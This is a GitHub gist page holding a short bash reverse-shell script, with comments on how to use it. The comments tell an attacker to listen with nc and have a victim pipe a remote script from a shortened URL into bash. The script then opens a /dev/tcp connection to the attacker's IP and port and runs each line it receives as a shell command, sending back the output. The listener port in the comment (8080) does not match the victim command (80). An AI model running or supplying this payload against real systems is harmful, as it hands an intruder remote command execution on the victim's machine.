Skip to content

Instantly share code, notes, and snippets.

@mellow-hype
Last active January 8, 2019 19:18
Show Gist options
  • Save mellow-hype/668eb7c6d4a333ddef4e738f4f0eb34d to your computer and use it in GitHub Desktop.
Save mellow-hype/668eb7c6d4a333ddef4e738f4f0eb34d to your computer and use it in GitHub Desktop.
#!/usr/bin/env bash
# attacker listens using `nc -nvl 8080`
# `curl -Ls https://git.io/fhZJy | bash -s <attacker-ip> 80` on victim
attacker_ip=$1
attacker_port=$2
exec 5<>/dev/tcp/$attacker_ip/$attacker_port
cat <&5 | while read line; do $line 2>&5 >&5; done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment